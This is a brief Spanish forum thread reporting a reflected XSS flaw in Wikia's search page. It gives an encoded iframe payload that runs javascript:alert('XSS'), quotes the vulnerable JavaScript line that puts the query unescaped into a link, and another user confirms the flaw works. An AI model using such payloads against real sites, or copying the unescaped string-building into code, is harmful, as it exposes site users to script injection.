Xss en Wikia search?

[Thor]

http://re.search.wikia.com/search#%22%3Elink%3C/a%3E%3CIFRAME%20SRC=%22javascript:alert('XSS');%22%3E%3C/IFRAME%3E

El problema creo que está por aquí:
http://re.search.wikia.com/search-a1.js

Código [Seleccionar] Expandir

$("sr-mini-content").innerHTML = 'We do not have a mini article about "'+q.escapeHTML()+'".  Improve the search results for everyone by <a href="http://search.wikia.com/index.php?title=Mini:'+q+'&action=edit">starting</a> this article!';

¿Se podría hacer sin lo de iframe? Directamente no he podido

[NewLog]

Qué grande es No-Script... hasta detecta los Xss...

Funciona.